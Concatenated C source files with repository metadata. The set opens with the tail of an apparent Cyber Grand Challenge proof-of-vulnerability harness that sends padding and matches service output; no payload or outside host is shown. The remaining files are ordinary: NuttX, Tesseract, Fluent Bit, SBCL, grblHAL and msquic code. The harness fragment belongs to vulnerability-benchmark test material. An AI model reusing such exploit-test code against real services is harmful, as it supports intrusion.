"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20";
static unsigned int write_00001_00000_len = 1028;
unsigned char *write_00001 = NULL;
unsigned int write_00001_len = 0;
write_00001 = cgc_append_buf(write_00001, &write_00001_len, write_00001_00000, write_00001_00000_len);
if (write_00001_len > 0) {
cgc_transmit_all(1, write_00001, write_00001_len);
}
cgc_free(write_00001);
} while (0);
do {
unsigned char *read_00000;
unsigned int read_00000_len;
unsigned int read_00000_ptr = 0;
//**** delimited read
static unsigned char read_00000_delim[] =
"\x0a";
read_00000 = NULL;
read_00000_len = 0;
int read_00000_res = cgc_delimited_read(0, &read_00000, &read_00000_len, read_00000_delim, 1);
if (read_00000_res) {} //silence unused variable warning
//**** read match data
static unsigned char match_00000_00000[] =
"\x53\x74\x61\x72\x74\x69\x6e\x67\x20\x64\x69\x73\x73\x65\x63\x74"
"\x69\x6f\x6e\x2e\x2e\x2e";
read_00000_ptr += cgc_data_match(read_00000 + read_00000_ptr, read_00000_len - read_00000_ptr, match_00000_00000, 22);
cgc_free(read_00000);
if (read_00000_ptr) {} //silence unused variable warning if any
} while (0);
do {
unsigned char *read_00001;
unsigned int read_00001_len;
unsigned int read_00001_ptr = 0;
//**** delimited read
static unsigned char read_00001_delim[] =
"\x3d\x3d\x3d\x3d\x0a";
read_00001 = NULL;
read_00001_len = 0;
int read_00001_res = cgc_delimited_read(0, &read_00001, &read_00001_len, read_00001_delim, 5);
if (read_00001_res) {} //silence unused variable warning
/* read match pcre:
.*New Packet
*/
static char read_00001_00000_regex[] =
"\x2e\x2a\x4e\x65\x77\x20\x50\x61\x63\x6b\x65\x74";
static match_result read_00001_00000_match;
pcre *read_00001_00000_pcre = cgc_init_regex(read_00001_00000_regex);
if (read_00001_00000_pcre != NULL) {
int rc = cgc_regex_match(read_00001_00000_pcre, 0, read_00001 + read_00001_ptr, read_00001_len - read_00001_ptr, &read_00001_00000_match);
if (rc > 0) {
read_00001_ptr += read_00001_00000_match.match_end - read_00001_00000_match.match_start;
}
else {
//this is a pov so what does this even mean?
//why would we quit on failed match, just keep sending stuff.
}
pcre_free(read_00001_00000_pcre);
}
else {
//this is a pov so what does this even mean?
//why would we quit on failed regex compile, just keep sending stuff.
}
cgc_free(read_00001);
if (read_00001_ptr) {} //silence unused variable warning if any
} while (0);
do {
unsigned char *read_00002;
unsigned int read_00002_len;
unsigned int read_00002_ptr = 0;
//**** delimited read
static unsigned char read_00002_delim[] =
"\x3d\x3d\x3d\x0a";
read_00002 = NULL;
read_00002_len = 0;
int read_00002_res = cgc_delimited_read(0, &read_00002, &read_00002_len, read_00002_delim, 4);
if (read_00002_res) {} //silence unused variable warning
/* read match pcre:
.*===rofl
*/
static char read_00002_00000_regex[] =
"\x2e\x2a\x3d\x3d\x3d\x72\x6f\x66\x6c";
static match_result read_00002_00000_match;
pcre *read_00002_00000_pcre = cgc_init_regex(read_00002_00000_regex);
if (read_00002_00000_pcre != NULL) {
int rc = cgc_regex_match(read_00002_00000_pcre, 0, read_00002 + read_00002_ptr, read_00002_len - read_00002_ptr, &read_00002_00000_match);
if (rc > 0) {
read_00002_ptr += read_00002_00000_match.match_end - read_00002_00000_match.match_start;
}
else {
//this is a pov so what does this even mean?
//why would we quit on failed match, just keep sending stuff.
}
pcre_free(read_00002_00000_pcre);
}
else {
//this is a pov so what does this even mean?
//why would we quit on failed regex compile, just keep sending stuff.
}
cgc_free(read_00002);
if (read_00002_ptr) {} //silence unused variable warning if any
} while (0);
do {
unsigned char *read_00003;
unsigned int read_00003_len;
unsigned int read_00003_ptr = 0;
//**** delimited read
static unsigned char read_00003_delim[] =
"\x3d\x3d\x3d\x0a";
read_00003 = NULL;
read_00003_len = 0;
int read_00003_res = cgc_delimited_read(0, &read_00003, &read_00003_len, read_00003_delim, 4);
if (read_00003_res) {} //silence unused variable warning
/* read match pcre:
.*===Lithosiinaecoequation
*/
static char read_00003_00000_regex[] =
"\x2e\x2a\x3d\x3d\x3d\x4c\x69\x74\x68\x6f\x73\x69\x69\x6e\x61\x65"
"\x63\x6f\x65\x71\x75\x61\x74\x69\x6f\x6e";
static match_result read_00003_00000_match;
pcre *read_00003_00000_pcre = cgc_init_regex(read_00003_00000_regex);
if (read_00003_00000_pcre != NULL) {
int rc = cgc_regex_match(read_00003_00000_pcre, 0, read_00003 + read_00003_ptr, read_00003_len - read_00003_ptr, &read_00003_00000_match);
if (rc > 0) {
read_00003_ptr += read_00003_00000_match.match_end - read_00003_00000_match.match_start;
}
else {
//this is a pov so what does this even mean?
//why would we quit on failed match, just keep sending stuff.
}
pcre_free(read_00003_00000_pcre);
}
else {
//this is a pov so what does this even mean?
//why would we quit on failed regex compile, just keep sending stuff.
}
cgc_free(read_00003);
if (read_00003_ptr) {} //silence unused variable warning if any
} while (0);
do {
unsigned char *read_00004;
unsigned int read_00004_len;
unsigned int read_00004_ptr = 0;
//**** delimited read
static unsigned char read_00004_delim[] =
"\x3d\x3d\x3d\x0a";
read_00004 = NULL;
read_00004_len = 0;
int read_00004_res = cgc_delimited_read(0, &read_00004, &read_00004_len, read_00004_delim, 4);
if (read_00004_res) {} //silence unused variable warning
/* read match pcre:
.*Dissection finished
*/
static char read_00004_00000_regex[] =
"\x2e\x2a\x44\x69\x73\x73\x65\x63\x74\x69\x6f\x6e\x20\x66\x69\x6e"
"\x69\x73\x68\x65\x64";
static match_result read_00004_00000_match;
pcre *read_00004_00000_pcre = cgc_init_regex(read_00004_00000_regex);
if (read_00004_00000_pcre != NULL) {
int rc = cgc_regex_match(read_00004_00000_pcre, 0, read_00004 + read_00004_ptr, read_00004_len - read_00004_ptr, &read_00004_00000_match);
if (rc > 0) {
read_00004_ptr += read_00004_00000_match.match_end - read_00004_00000_match.match_start;
}
else {
//this is a pov so what does this even mean?
//why would we quit on failed match, just keep sending stuff.
}
pcre_free(read_00004_00000_pcre);
}
else {
//this is a pov so what does this even mean?
//why would we quit on failed regex compile, just keep sending stuff.
}
cgc_free(read_00004);
if (read_00004_ptr) {} //silence unused variable warning if any
} while (0);
}
|
635a3c561a9e868ab3747b9bd02edd9482aaf84d
|
aa3befea459382dc5c01c925653d54f435b3fb0f
|
/include/nuttx/note/notesnap_driver.h
|
fa2cbf5e107af242b9d0d010bf0cde6c9e823362
|
[
"MIT-open-group",
"BSD-3-Clause",
"HPND-sell-variant",
"BSD-4-Clause-UC",
"LicenseRef-scancode-warranty-disclaimer",
"MIT-0",
"LicenseRef-scancode-bsd-atmel",
"LicenseRef-scancode-gary-s-brown",
"LicenseRef-scancode-proprietary-license",
"SunPro",
"MIT",
"LicenseRef-scancode-public-domain-disclaimer",
"LicenseRef-scancode-other-permissive",
"HPND",
"ISC",
"Apache-2.0",
"LicenseRef-scancode-public-domain",
"BSD-2-Clause",
"GPL-1.0-or-later",
"CC-BY-2.0",
"CC-BY-4.0"
] |
permissive
|
apache/nuttx
|
14519a7bff4a87935d94fb8fb2b19edb501c7cec
|
606b6d9310fb25c7d92c6f95bf61737e3c79fa0f
|
refs/heads/master
| 2023-08-25T06:55:45.822534
| 2023-08-23T16:03:31
| 2023-08-24T21:25:47
| 228,103,273
| 407
| 241
|
Apache-2.0
| 2023-09-14T18:26:05
| 2019-12-14T23:27:55
|
C
|
UTF-8
|
C
| false
| false
| 2,247
|
h
|
notesnap_driver.h
|
/****************************************************************************
* include/nuttx/note/notesnap_driver.h
*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership. The
* ASF licenses this file to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance with the
* License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations
* under the License.
*
****************************************************************************/
#ifndef __INCLUDE_NUTTX_NOTESNAP_DRIVER_H
#define __INCLUDE_NUTTX_NOTESNAP_DRIVER_H
/****************************************************************************
* Included Files
****************************************************************************/
#include <nuttx/streams.h>
/****************************************************************************
* Public Function Prototypes
****************************************************************************/
#ifdef CONFIG_DRIVERS_NOTESNAP
/****************************************************************************
* Name: notesnap_register
****************************************************************************/
int notesnap_register(void);
/****************************************************************************
* Name: notesnap_dump_with_stream
****************************************************************************/
void notesnap_dump_with_stream(FAR struct lib_outstream_s *stream);
/****************************************************************************
* Name: notesnap_dump
****************************************************************************/
void notesnap_dump(void);
#endif
#endif /* __INCLUDE_NUTTX_NOTESNAP_DRIVER_H */
|
e42645b6a58cc1608342e6ae6ab25291bd0126a8
|
e47e2263ca0b60d0c8327f74b4d4078deadea430
|
/tess-two/jni/com_googlecode_tesseract_android/src/ccutil/platform.h
|
dd9be87ac646a4e28d6439e4fcbbf5c5c58ef988
|
[
"Apache-2.0",
"LicenseRef-scancode-unknown-license-reference"
] |
permissive
|
rmtheis/tess-two
|
43ed1bdcceee88df696efdee7c3965572ff2121f
|
ab4cab1bd9794aacb74162aff339daa921a68c3f
|
refs/heads/master
| 2023-03-10T08:27:42.539055
| 2022-03-17T11:21:24
| 2022-03-17T11:21:24
| 2,581,357
| 3,632
| 1,331
|
Apache-2.0
| 2019-10-20T00:51:50
| 2011-10-15T11:14:00
|
C
|
UTF-8
|
C
| false
| false
| 2,604
|
h
|
platform.h
|
///////////////////////////////////////////////////////////////////////
// File: platform.h
// Description: Place holder
// Author:
// Created:
//
// (C) Copyright 2006, Google Inc.
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// http://www.apache.org/licenses/LICENSE-2.0
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
///////////////////////////////////////////////////////////////////////
#ifndef TESSERACT_CCUTIL_PLATFORM_H__
#define TESSERACT_CCUTIL_PLATFORM_H__
#include <string.h>
#define DLLSYM
#ifdef _WIN32
#ifndef NOMINMAX
#define NOMINMAX
#endif /* NOMINMAX */
#define WIN32_LEAN_AND_MEAN
#ifdef __GNUC__
#define ultoa _ultoa
#endif /* __GNUC__ */
#define SIGNED
#if defined(_MSC_VER)
#if (_MSC_VER < 1900)
#define snprintf _snprintf
#endif
#if (_MSC_VER <= 1400)
#define vsnprintf _vsnprintf
#endif /* (_MSC_VER <= 1400) */
#endif /* defined(_MSC_VER) */
#else
#define __UNIX__
#include <limits.h>
#ifndef PATH_MAX
#define MAX_PATH 4096
#else
#define MAX_PATH PATH_MAX
#endif
#define SIGNED signed
#endif
#if defined(_WIN32) || defined(__CYGWIN__)
#ifndef M_PI
#define M_PI 3.14159265358979323846
#endif
#endif
#if defined(_WIN32) || defined(__CYGWIN__)
#if defined(TESS_EXPORTS)
#define TESS_API __declspec(dllexport)
#elif defined(TESS_IMPORTS)
#define TESS_API __declspec(dllimport)
#else
#define TESS_API
#endif
#define TESS_LOCAL
#else
#if __GNUC__ >= 4
#if defined(TESS_EXPORTS) || defined(TESS_IMPORTS)
#define TESS_API __attribute__ ((visibility ("default")))
#define TESS_LOCAL __attribute__ ((visibility ("hidden")))
#else
#define TESS_API
#define TESS_LOCAL
#endif
#else
#define TESS_API
#define TESS_LOCAL
#endif
#endif
#if defined(_WIN32) || defined(__CYGWIN__)
#define _TESS_FILE_BASENAME_ \
(strrchr(__FILE__, '\\') ? strrchr(__FILE__, '\\') + 1 : __FILE__)
#else // Unices
#define _TESS_FILE_BASENAME_ \
(strrchr(__FILE__, '/') ? strrchr(__FILE__, '/') + 1 : __FILE__)
#endif
#endif // TESSERACT_CCUTIL_PLATFORM_H__
|
077e48a1f852bd642cc4d9feb258da6267ac88f8
|
f367e4b66a1ee42e85830b31df88f63723c36a47
|
/plugins/out_exit/exit.c
|
dc3532b2ee648eb1e997fc62a4d28e093138635d
|
[
"Apache-2.0"
] |
permissive
|
fluent/fluent-bit
|
06873e441162b92941024e9a7e9e8fc934150bf7
|
1a41f49dc2f3ae31a780caa9ffd6137b1d703065
|
refs/heads/master
| 2023-09-05T13:44:55.347372
| 2023-09-05T10:14:33
| 2023-09-05T10:14:33
| 29,933,948
| 4,907
| 1,565
|
Apache-2.0
| 2023-09-14T10:17:02
| 2015-01-27T20:41:52
|
C
|
UTF-8
|
C
| false
| false
| 2,761
|
c
|
exit.c
|
/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
/* Fluent Bit
* ==========
* Copyright (C) 2015-2022 The Fluent Bit Authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <fluent-bit/flb_output_plugin.h>
#include <fluent-bit/flb_utils.h>
#define FLB_EXIT_FLUSH_COUNT "1"
struct flb_exit {
int is_running;
int count;
/* config */
int flush_count;
};
static int cb_exit_init(struct flb_output_instance *ins, struct flb_config *config,
void *data)
{
int ret;
(void) config;
(void) data;
struct flb_exit *ctx;
ctx = flb_malloc(sizeof(struct flb_exit));
if (!ctx) {
flb_errno();
return -1;
}
ctx->count = 0;
ctx->is_running = FLB_TRUE;
ret = flb_output_config_map_set(ins, (void *) ctx);
if (ret == -1) {
flb_free(ctx);
return -1;
}
flb_output_set_context(ins, ctx);
return 0;
}
static void cb_exit_flush(struct flb_event_chunk *event_chunk,
struct flb_output_flush *out_flush,
struct flb_input_instance *i_ins,
void *out_context,
struct flb_config *config)
{
(void) i_ins;
(void) out_context;
struct flb_exit *ctx = out_context;
ctx->count++;
if (ctx->is_running == FLB_TRUE && ctx->count >= ctx->flush_count) {
flb_engine_exit(config);
ctx->is_running = FLB_FALSE;
}
FLB_OUTPUT_RETURN(FLB_OK);
}
static int cb_exit_exit(void *data, struct flb_config *config)
{
struct flb_exit *ctx = data;
(void) config;
flb_free(ctx);
return 0;
}
/* Configuration properties map */
static struct flb_config_map config_map[] = {
{
FLB_CONFIG_MAP_INT, "flush_count", FLB_EXIT_FLUSH_COUNT,
0, FLB_TRUE, offsetof(struct flb_exit, flush_count),
NULL
},
/* EOF */
{0}
};
struct flb_output_plugin out_exit_plugin = {
.name = "exit",
.description = "Exit after a number of flushes (test purposes)",
.cb_init = cb_exit_init,
.cb_flush = cb_exit_flush,
.cb_exit = cb_exit_exit,
.config_map = config_map,
.flags = 0,
};
|
8e63be579bd66e872416311530f503a0f4c52c03
|
9c2473b14564641527667f121ca44ed6c7ec1c85
|
/packages/conf-dbm/conf-dbm.1.0.0/files/test_gdbm.c
|
b9365e89c9979dd1f32a020cf41d0ab417b40eab
|
[
"CC0-1.0"
] |
permissive
|
ocaml/opam-repository
|
48d85a652c7b15c6899290e101714e1ab8fcf0da
|
5ae1639e9d2c39a6a0af0ab257c40a727de815f6
|
refs/heads/master
| 2023-09-01T17:50:22.200406
| 2023-09-01T14:51:29
| 2023-09-01T14:51:29
| 4,508,653
| 467
| 1,196
|
CC0-1.0
| 2023-09-14T20:59:38
| 2012-05-31T14:25:57
|
Shell
|
UTF-8
|
C
| false
| false
| 140
|
c
|
test_gdbm.c
|
#include <gdbm.h>
int main() {
GDBM_FILE db = gdbm_open("conf-dbm-testdb", 512, GDBM_WRCREAT, 0600, 0);
gdbm_close (db);
return 0;
}
|
058e1102637605a69b15684cbed0e569248b43f1
|
fcc9b5cb92607deaac4b097776ed0490789d8c3e
|
/tools-for-build/mmap-rwx.c
|
5769189f388d0af4ebe262a22d13f462a6ee93c9
|
[
"LicenseRef-scancode-other-permissive",
"LicenseRef-scancode-public-domain",
"BSD-2-Clause",
"LicenseRef-scancode-warranty-disclaimer",
"BSD-3-Clause",
"LicenseRef-scancode-mit-specification-disclaimer",
"MIT"
] |
permissive
|
sbcl/sbcl
|
ef248b5e8614ba7f0a1132c4f2cfcb000a074400
|
85003adf60ef659082c244972e816ea62240b9cb
|
refs/heads/master
| 2023-09-01T05:14:15.225083
| 2023-08-31T20:09:49
| 2023-08-31T20:09:49
| 1,890,957
| 1,737
| 408
|
NOASSERTION
| 2023-08-28T13:05:04
| 2011-06-13T20:33:25
|
Common Lisp
|
UTF-8
|
C
| false
| false
| 197
|
c
|
mmap-rwx.c
|
#include <sys/mman.h>
int
main()
{
if (mmap(0, 1, PROT_EXEC|PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANON, -1, 0) == MAP_FAILED)
return 1;
return 0;
}
|
1eb104c91a956f435b32471a6b4a93700707ca1a
|
7eaf54a78c9e2117247cb2ab6d3a0c20719ba700
|
/SOFTWARE/A64-TERES/linux-a64/arch/arm/mach-at91/board-dt-rm9200.c
|
3fcb6623a33edcaa66d94de8c9832dab28392e9d
|
[
"Linux-syscall-note",
"GPL-2.0-only",
"GPL-1.0-or-later",
"LicenseRef-scancode-free-unknown",
"Apache-2.0"
] |
permissive
|
OLIMEX/DIY-LAPTOP
|
ae82f4ee79c641d9aee444db9a75f3f6709afa92
|
a3fafd1309135650bab27f5eafc0c32bc3ca74ee
|
refs/heads/rel3
| 2023-08-04T01:54:19.483792
| 2023-04-03T07:18:12
| 2023-04-03T07:18:12
| 80,094,055
| 507
| 92
|
Apache-2.0
| 2023-04-03T07:05:59
| 2017-01-26T07:25:50
|
C
|
UTF-8
|
C
| false
| false
| 1,421
|
c
|
board-dt-rm9200.c
|
/*
* Setup code for AT91RM9200 Evaluation Kits with Device Tree support
*
* Copyright (C) 2011 Atmel,
* 2011 Nicolas Ferre <nicolas.ferre@atmel.com>
* 2012 Joachim Eastwood <manabian@gmail.com>
*
* Licensed under GPLv2 or later.
*/
#include <linux/types.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/gpio.h>
#include <linux/of.h>
#include <linux/of_irq.h>
#include <linux/of_platform.h>
#include <asm/setup.h>
#include <asm/irq.h>
#include <asm/mach/arch.h>
#include <asm/mach/map.h>
#include <asm/mach/irq.h>
#include "at91_aic.h"
#include "generic.h"
static const struct of_device_id irq_of_match[] __initconst = {
{ .compatible = "atmel,at91rm9200-aic", .data = at91_aic_of_init },
{ /*sentinel*/ }
};
static void __init at91rm9200_dt_init_irq(void)
{
of_irq_init(irq_of_match);
}
static void __init at91rm9200_dt_device_init(void)
{
of_platform_populate(NULL, of_default_bus_match_table, NULL, NULL);
}
static const char *at91rm9200_dt_board_compat[] __initdata = {
"atmel,at91rm9200",
NULL
};
DT_MACHINE_START(at91rm9200_dt, "Atmel AT91RM9200 (Device Tree)")
.init_time = at91rm9200_timer_init,
.map_io = at91_map_io,
.handle_irq = at91_aic_handle_irq,
.init_early = at91rm9200_dt_initialize,
.init_irq = at91rm9200_dt_init_irq,
.init_machine = at91rm9200_dt_device_init,
.dt_compat = at91rm9200_dt_board_compat,
MACHINE_END
|
0fcb1b32429ef36f1622613387f3c6ab767ec47a
|
d325e0d8d87128cc86e975a822516604a71294e9
|
/drivers/LPC1769/src/serial.c
|
83cfc53d83e209ceb5a07754e88fd6a995a112af
|
[] |
no_license
|
terjeio/grblHAL
|
12b93d229b046bc09c87902c3569767337dd270a
|
cd693465a8d7b9dabf1d85acdf3eba40a0994db1
|
refs/heads/master
| 2022-01-27T19:09:19.281567
| 2021-12-27T06:34:25
| 2021-12-27T06:34:25
| 142,401,894
| 251
| 104
| null | 2021-03-18T06:16:59
| 2018-07-26T07:00:52
|
C
|
UTF-8
|
C
| false
| false
| 8,669
|
c
|
serial.c
|
/*
serial.c - LPC17xx low level functions for transmitting bytes via the serial port
Part of grblHAL
Copyright (c) 2017-2021 Terje Io
Grbl is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Grbl is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Grbl. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef __serial_h__
#define __serial_h__
#include <string.h>
#include "driver.h"
#include "serial.h"
#include "grbl/hal.h"
#include "chip.h"
static stream_rx_buffer_t rxbuffer = {0};
static stream_tx_buffer_t txbuffer = {0};
/* Pin muxing configuration */
static const PINMUX_GRP_T uart_pinmux[] = {
{0, 2, IOCON_MODE_INACT | IOCON_FUNC1}, /* TXD0 */
{0, 3, IOCON_MODE_INACT | IOCON_FUNC1} /* RXD0 */
};
#ifdef RTS_PORT
static volatile uint8_t rts_state = 0;
#endif
#ifdef ENABLE_XONXOFF
static volatile uint8_t flow_ctrl = XON_SENT; // Flow control state variable
#endif
void serialInit (void)
{
Chip_IOCON_SetPinMuxing(LPC_IOCON, uart_pinmux, sizeof(uart_pinmux) / sizeof(PINMUX_GRP_T));
/* Setup UART for 115.2K8N1 */
Chip_UART_Init(SERIAL_MODULE);
Chip_UART_SetBaud(SERIAL_MODULE, 115200);
Chip_UART_ConfigData(SERIAL_MODULE, (UART_LCR_WLEN8|UART_LCR_SBS_1BIT));
Chip_UART_SetupFIFOS(SERIAL_MODULE, (UART_FCR_FIFO_EN|UART_FCR_TRG_LEV2));
Chip_UART_TXEnable(SERIAL_MODULE);
/* Reset and enable FIFOs, FIFO trigger level 3 (14 chars) */
Chip_UART_SetupFIFOS(SERIAL_MODULE, (UART_FCR_FIFO_EN|UART_FCR_RX_RS|UART_FCR_TX_RS|UART_FCR_TRG_LEV3));
/* Enable receive data and line status interrupt */
Chip_UART_IntEnable(SERIAL_MODULE, UART_IER_RBRINT);
// Chip_UART_IntEnable(SERIAL_MODULE, (UART_IER_RBRINT|UART_IER_RLSINT));
/* preemption = 3, sub-priority = 1 */
NVIC_SetPriority(SERIAL_MODULE_INT, 3);
NVIC_EnableIRQ(SERIAL_MODULE_INT);
#ifdef RTS_PORT
RTS_PORT->DIR |= RTS_BIT;
BITBAND_PERI(RTS_PORT->OUT, RTS_PIN) = 0;
#endif
}
//
// Returns number of characters in serial output buffer
//
uint16_t serialTxCount (void)
{
uint16_t tail = txbuffer.tail;
return BUFCOUNT(txbuffer.head, tail, TX_BUFFER_SIZE);
}
//
// Returns number of characters in serial input buffer
//
uint16_t serialRxCount (void)
{
uint16_t tail = rxbuffer.tail, head = rxbuffer.head;
return BUFCOUNT(head, tail, RX_BUFFER_SIZE);
}
//
// Returns number of free characters in serial input buffer
//
uint16_t serialRxFree (void)
{
unsigned int tail = rxbuffer.tail, head = rxbuffer.head;
return RX_BUFFER_SIZE - BUFCOUNT(head, tail, RX_BUFFER_SIZE);
}
//
// Flushes the serial input buffer
//
void serialRxFlush (void)
{
rxbuffer.head = rxbuffer.tail = 0;
SERIAL_MODULE->FCR |= UART_FCR_RX_RS; // Flush FIFO too
#ifdef RTS_PORT
BITBAND_PERI(RTS_PORT->OUT, RTS_PIN) = 0;
#endif
}
//
// Flushes and adds a CAN character to the serial input buffer
//
void serialRxCancel (void)
{
rxbuffer.data[rxbuffer.head] = ASCII_CAN;
rxbuffer.tail = rxbuffer.head;
rxbuffer.head = (rxbuffer.tail + 1) & (RX_BUFFER_SIZE - 1);
#ifdef RTS_PORT
BITBAND_PERI(RTS_PORT->OUT, RTS_PIN) = 0;
#endif
}
//
// Attempt to send a character bypassing buffering
//
static inline bool serialPutCNonBlocking (const char c)
{
bool ok = false;
if((ok = !(SERIAL_MODULE->IER & UART_IER_THREINT) && (Chip_UART_ReadLineStatus(SERIAL_MODULE) & UART_LSR_THRE)))
SERIAL_MODULE->THR = c;
return ok;
}
//
// Writes a character to the serial output stream
//
bool serialPutC (const char c)
{
uint32_t next_head;
if(txbuffer.head != txbuffer.tail || !serialPutCNonBlocking(c)) { // Try to send character without buffering...
next_head = (txbuffer.head + 1) & (TX_BUFFER_SIZE - 1); // .. if not, set and update head pointer
while(txbuffer.tail == next_head) { // While TX buffer full
if(!hal.stream_blocking_callback()) // check if blocking for space,
return false; // exit if not (leaves TX buffer in an inconsistent state)
}
txbuffer.data[txbuffer.head] = c; // Add data to buffer
txbuffer.head = next_head; // and update head pointer
Chip_UART_IntEnable(SERIAL_MODULE, UART_IER_THREINT); // Enable TX interrupts
}
return true;
}
//
// Writes a null terminated string to the serial output stream, blocks if buffer full
//
void serialWriteS (const char *s)
{
char c, *ptr = (char *)s;
while((c = *ptr++) != '\0')
serialPutC(c);
}
//
// Writes a null terminated string to the serial output stream followed by EOL, blocks if buffer full
//
void serialWriteLn (const char *s)
{
serialWriteS(s);
serialWriteS(ASCII_EOL);
}
//
// Writes a number of characters from string to the serial output stream followed by EOL, blocks if buffer full
//
void serialWrite(const char *s, uint16_t length)
{
char *ptr = (char *)s;
while(length--)
serialPutC(*ptr++);
}
//
// serialGetC - returns -1 if no data available
//
int16_t serialGetC (void)
{
uint16_t bptr = rxbuffer.tail;
if(bptr == rxbuffer.head)
return -1; // no data available else EOF
char data = rxbuffer.data[bptr++]; // Get next character, increment tmp pointer
rxbuffer.tail = bptr & (RX_BUFFER_SIZE - 1); // and update pointer
#ifdef RTS_PORT
if (rts_state && BUFCOUNT(rx_head, rx_tail, RX_BUFFER_SIZE) < RX_BUFFER_LWM) // Clear RTS if below LWM
BITBAND_PERI(RTS_PORT->OUT, RTS_PIN) = rts_state = 0;
#endif
return (int16_t)data;
}
bool serialSuspendInput (bool suspend)
{
return stream_rx_suspend(&rxbuffer, suspend);
}
//
void SERIAL_IRQHandler (void)
{
uint32_t bptr = SERIAL_MODULE->IIR;
switch(bptr & 0x07) {
/*
case UART_IIR_INTID_RLS:
bptr = SERIAL_MODULE->LSR;
break;
*/
case UART_IIR_INTID_THRE:
bptr = txbuffer.tail; // Temp tail position (to avoid volatile overhead)
SERIAL_MODULE->SCR = UART_TX_FIFO_SIZE; // Use UART scratch pad register as
while((--SERIAL_MODULE->SCR) && bptr != txbuffer.head) { // counter variable for filling the transmit FIFO
SERIAL_MODULE->THR = txbuffer.data[bptr++]; // Send a byte from the buffer
bptr &= (TX_BUFFER_SIZE - 1); // and
txbuffer.tail = bptr; // update tail position
}
if (bptr == txbuffer.head) // Turn off TX interrupt
Chip_UART_IntDisable(SERIAL_MODULE, UART_IER_THREINT); // when buffer empty
break;
case UART_IIR_INTID_RDA:
case UART_IIR_INTID_CTI:;
while(SERIAL_MODULE->LSR & UART_LSR_RDR) {
uint32_t data = SERIAL_MODULE->RBR;
if(data == CMD_TOOL_ACK && !rxbuffer.backup) {
stream_rx_backup(&rxbuffer);
hal.stream.read = serialGetC; // restore normal input
} else if(!hal.stream.enqueue_realtime_command(data)) { // Read character received
bptr = (rxbuffer.head + 1) & (RX_BUFFER_SIZE - 1); // Temp head position (to avoid volatile overhead)
if(bptr == rxbuffer.tail) // If buffer full
rxbuffer.overflow = 1; // flag overflow
else {
rxbuffer.data[rxbuffer.head] = data; // Add data to buffer
rxbuffer.head = bptr; // and update pointer
#ifdef RTS_PORT
if (!rts_state && BUFCOUNT(rxbuffer.head, rxbuffer.tail, RX_BUFFER_SIZE) >= RX_BUFFER_HWM) // Set RTS if at or above HWM
BITBAND_PERI(RTS_PORT->OUT, RTS_PIN) = rts_state = 1;
#endif
}
}
}
break;
}
}
#endif // __serial_h__
|
63d5d2735372658249331ef53893d8a6fdfde55a
|
1231379e557a3094413045721b4c65ce9bae568b
|
/src/generated/linux/registration.c.clog.h.lttng.h
|
d3ed2030ae8795e7d38d7b08dbdce9ccddc45393
|
[
"MIT"
] |
permissive
|
microsoft/msquic
|
a63982f1b7d017fb0497e2dce56f1ef527bd6eaa
|
f91ccc2f975225a278bc68238555ed0923e676ba
|
refs/heads/main
| 2023-09-04T01:25:39.133074
| 2023-08-28T18:04:51
| 2023-08-28T18:04:51
| 217,654,199
| 3,641
| 521
|
MIT
| 2023-09-14T14:36:09
| 2019-10-26T04:10:24
|
C
|
UTF-8
|
C
| false
| false
| 4,906
|
h
|
registration.c.clog.h.lttng.h
|
/*----------------------------------------------------------
// Decoder Ring for RegistrationVerifierEnabled
// [ reg][%p] Verifing enabled!
// QuicTraceLogInfo(
RegistrationVerifierEnabled,
"[ reg][%p] Verifing enabled!",
Registration);
// arg2 = arg2 = Registration = arg2
----------------------------------------------------------*/
TRACEPOINT_EVENT(CLOG_REGISTRATION_C, RegistrationVerifierEnabled,
TP_ARGS(
const void *, arg2),
TP_FIELDS(
ctf_integer_hex(uint64_t, arg2, arg2)
)
)
/*----------------------------------------------------------
// Decoder Ring for ApiEnter
// [ api] Enter %u (%p).
// QuicTraceEvent(
ApiEnter,
"[ api] Enter %u (%p).",
QUIC_TRACE_API_REGISTRATION_OPEN,
NULL);
// arg2 = arg2 = QUIC_TRACE_API_REGISTRATION_OPEN = arg2
// arg3 = arg3 = NULL = arg3
----------------------------------------------------------*/
TRACEPOINT_EVENT(CLOG_REGISTRATION_C, ApiEnter,
TP_ARGS(
unsigned int, arg2,
const void *, arg3),
TP_FIELDS(
ctf_integer(unsigned int, arg2, arg2)
ctf_integer_hex(uint64_t, arg3, arg3)
)
)
/*----------------------------------------------------------
// Decoder Ring for AllocFailure
// Allocation of '%s' failed. (%llu bytes)
// QuicTraceEvent(
AllocFailure,
"Allocation of '%s' failed. (%llu bytes)",
"registration",
sizeof(QUIC_REGISTRATION) + AppNameLength + 1);
// arg2 = arg2 = "registration" = arg2
